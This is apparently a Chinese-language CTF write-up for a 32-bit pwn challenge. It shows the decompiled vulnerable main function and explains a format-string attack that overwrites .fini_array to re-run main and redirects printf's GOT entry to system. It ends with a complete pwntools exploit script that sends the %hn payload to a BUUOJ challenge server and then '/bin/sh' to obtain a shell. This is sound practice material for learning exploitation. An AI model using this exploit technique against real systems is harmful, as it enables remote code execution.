对这个知识点有些印象,这次遇到就简单记录一下
checksec:
main:
int __cdecl main(int argc, const char **argv, const char **envp) { char format[68]; // [esp+0h] [ebp-48h] BYREF setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("Welcome to my ctf! What's your name?"); __isoc99_scanf("%64s", format); printf("Hello "); printf(format); return 0; }
提供了system函数
逻辑很简单,格式化字符串,无RELRO所以能修改got表。但因为只执行一次,修改后无法利用。这是就可以利用fmt修改fini_array,构造循环来利用。
原理:将.fini_array 段的函数指针覆写为mian函数,这样就能在程序退出前再执行一次main函数。
glibc源码:
在ida中查看该段
这样思路就很清晰了。第一次执行main函数时同时修改__do_global_dtors_aux_fini_array_entry的指针和printf的got表,第二次执行时输入/bin/sh就能getshell。
exp:
#!/usr/bin/python #coding:utf-8 from pwn import * from struct import pack a=remote("node3.buuoj.cn",28411) #a=process("/root/ciscn") libc=ELF("/root/libc-2.27.so") #one = [0x4f2c5,0x4f322,0x10a38c,0xe585f,0xe569f,0xe58bf] elf=ELF("/root/ciscn") context(os='linux',arch="i386",log_level='debug') sys=0x080483d0 main=0x08048534 fini_array=0x804979c printf_got=elf.got['printf'] a.recvuntil("Welcome to my ctf! What's your name?") #payload=fmtstr_payload(4,{fini_array:main},write_size='short') #print len(payload) payload=p32(fini_array+2)+p32(printf_got+2)+p32(printf_got)+p32(fini_array)+"%"+str(0x0804-0x4*4)+"c%4$hn" payload+="%5$hn"+"%"+str(0x83d0-0x0804)+"c%6$hn"+"%"+str(0x8534-0x83d0)+"c%7$hn" a.sendline(payload) a.sendline("/bin/sh") #gdb.attach(a) a.interactive()
有些细节要注意,payload选择用$hn是因为$n一般打不通,而$hhn的payload又过长。payload构造时要按照地址大小排序。
reference:
https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/szpd43
https://www.anquanke.com/post/id/180009